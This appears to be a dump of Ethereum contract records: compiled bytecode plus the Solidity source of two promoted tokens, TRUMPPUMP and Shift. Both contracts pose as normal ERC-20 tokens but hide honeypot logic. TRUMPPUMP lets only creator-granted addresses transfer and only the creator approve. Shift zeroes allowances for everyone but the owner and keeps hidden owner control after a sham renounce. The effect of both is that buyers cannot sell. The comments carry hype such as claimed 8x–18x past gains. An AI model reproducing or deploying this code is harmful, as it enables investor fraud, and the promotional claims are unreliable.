fffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a7231582029b9902ee0decd4d5cbf542fa9272c03466f74a84e7a84dc4bba8ba931df2fb564736f6c63430005110032
{"success": true, "error": null, "results": {}}
1,702
0x8d3450b236a170ea7c99ed0f8ad2c43414898509
pragma solidity ^0.6.6; /** *Join our telegram here: https://t.me/trumppumptoken * This is the only legitimate TRUMPPUMP token, our previous tokens have gone 8x, 10x and 18x. * There was no presale or dev fund allocation, the devs are listing with entirely their own liquidity. *"SPDX-License-Identifier: MIT" *TRUMPPUMP Token Contract source code */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * Available since v3.1. */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public { _creator = 0xA6576Ad2C8523264B7401C03F642D2735Ac066F8; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true; } function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) { return _uniswap; } function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TRUMPPUMP is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "t.me/trumppumptoken"; //_symbol = "TRUMPPUMP"; _name = "t.me/trumppumptoken"; _symbol = "TRUMPPUMP"; _decimals = 18; _totalSupply = 10000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b411461027d578063a457c2d714610285578063a9059cbb146102b1578063dd62ed3e146102dd576100cf565b8063313ce5671461020d578063395093511461022b57806370a0823114610257576100cf565b806302d05d3f146100d457806306fdde03146100f8578063095ea7b31461017557806318160ddd146101b557806323b872dd146101cf5780632681f7e414610205575b600080fd5b6100dc61030b565b604080516001600160a01b039092168252519081900360200190f35b61010061031a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013a578181015183820152602001610122565b50505050905090810190601f1680156101675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a16004803603604081101561018b57600080fd5b506001600160a01b0381351690602001356103b0565b604080519115158252519081900360200190f35b6101bd610425565b60408051918252519081900360200190f35b6101a1600480360360608110156101e557600080fd5b506001600160a01b0381358116916020810135909116906040013561042b565b6100dc6104e3565b6102156104f2565b6040805160ff9092168252519081900360200190f35b6101a16004803603604081101561024157600080fd5b506001600160a01b0381351690602001356104fb565b6101bd6004803603602081101561026d57600080fd5b50356001600160a01b03166105a1565b6101006105bc565b6101a16004803603604081101561029b57600080fd5b506001600160a01b03813516906020013561061d565b6101a1600480360360408110156102c757600080fd5b506001600160a01b0381351690602001356106dd565b6101bd600480360360408110156102f357600080fd5b506001600160a01b0381358116916020013516610786565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b820191906000526020600020905b81548152906001019060200180831161038957829003601f168201915b5050505050905090565b600080546001600160a01b03166103c56107b1565b6001600160a01b03161461040a5760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6104156107b1565b84846107b5565b50600192915050565b60085490565b60006104388484846108a1565b6104a8846104446107b1565b6104a385604051806060016040528060288152602001610c24602891396001600160a01b038a166000908152600460205260408120906104826107b1565b6001600160a01b0316815260208101919091526040016000205491906109f3565b6107b5565b6104b06104e3565b6001600160a01b03166104c16107b1565b6001600160a01b031614156104d9576104d983610a8a565b5060019392505050565b6001546001600160a01b031690565b60075460ff1690565b600080546001600160a01b03166105106107b1565b6001600160a01b0316146105555760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6105606107b1565b846104a385600460006105716107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610b2c565b6001600160a01b031660009081526003602052604090205490565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b600080546001600160a01b03166106326107b1565b6001600160a01b0316146106775760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6106826107b1565b846104a385604051806060016040528060258152602001610c9560259139600460006106ac6107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906109f3565b6000600260006106eb6107b1565b6001600160a01b0316815260208101919091526040016000205460ff166107435760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61075561074e6107b1565b84846108a1565b61075d61030b565b6001600160a01b031661076e6107b1565b6001600160a01b0316141561041c5761041c83610a8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107fa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c716024913960400191505060405180910390fd5b6001600160a01b03821661083f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610bb16022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108e65760405162461bcd60e51b8152600401808060200182810382526025815260200180610c4c6025913960400191505060405180910390fd5b6001600160a01b03821661092b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610b8e6023913960400191505060405180910390fd5b61096881604051806060016040528060268152602001610bd3602691396001600160a01b03861660009081526003602052604090205491906109f3565b6001600160a01b0380851660009081526003602052604080822093909355908416815220546109979082610b2c565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610a825760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a47578181015183820152602001610a2f565b50505050905090810190601f168015610a745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000546001600160a01b0316610a9e6107b1565b6001600160a01b03161480610acd57506001546001600160a01b0316610ac26107b1565b6001600160a01b0316145b610b085760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b600082820183811015610b86576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520646f206e6f742068617665207065726d697373696f6e7320666f72207468697320616374696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122047d561f2b43afa3aa47c6f493221f4051974f19f14ec9b4a5119ecb95142288c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,703
0x7b802434aa95d438ef60dca04d2ab1c0c85cfb16
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ /* AT SHIFT TOKEN, WE ARE FOCUSSED ON HEALTH AND FITNESS, WITH ITS MAIN GOAL BEING TO FIGHT OBESITY. IT IS NO LIE THAT HEALTH ISSUES CONTRIBUTE TO DEFECTS IN MENTAL HEALTH THEREFORE WE ARE DEVELOPING AN APPLICATION THAT WILL NOT ONLY BE UNRIVALLED WITHIN THIS SPACE BUT IN THE ENTIRE TECHNOLOGY WORLD. WE HAVE COMMISSIONED ONE OF THE WORLDS LEADING DEVELOPMENT COMPANIES TO DEVELOP OUR APPLICATION, ALSO WITH SEO (Search Engine Optimisation) SPECIALISTS TO ENSURE MAXIMUM EXPOSURE ON ALL PLATFORMS: THE APPLICATION WILL ENTAIL FEATURES SUCH AS STEP COUNTERS WHICH WILL BE A KEY FUNCTION IN OUT “STEP TO EARN” UTILITY, CALORIE BURNER THAT WILL COMPLIMENT OUR “BURN TO EARN” FUNCTION & OUR “SHIFT BATTLEGROUND” WHERE YOU WILL BE ABLE TO WAGER YOUR SHIFT TOKENS AGAINST OTHER USERS OR FRIENDS BY COMPETING IN FITNESS CHALLENGES IN A WINNER TAKES ALL STYLE BATTLE Telegram: https://t.me/TheofficialShiftToken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Shift is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10000* 10**9* 10**18; string private _name = 'Shift ' ; string private _symbol = 'SHIFT ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473fffffffffffff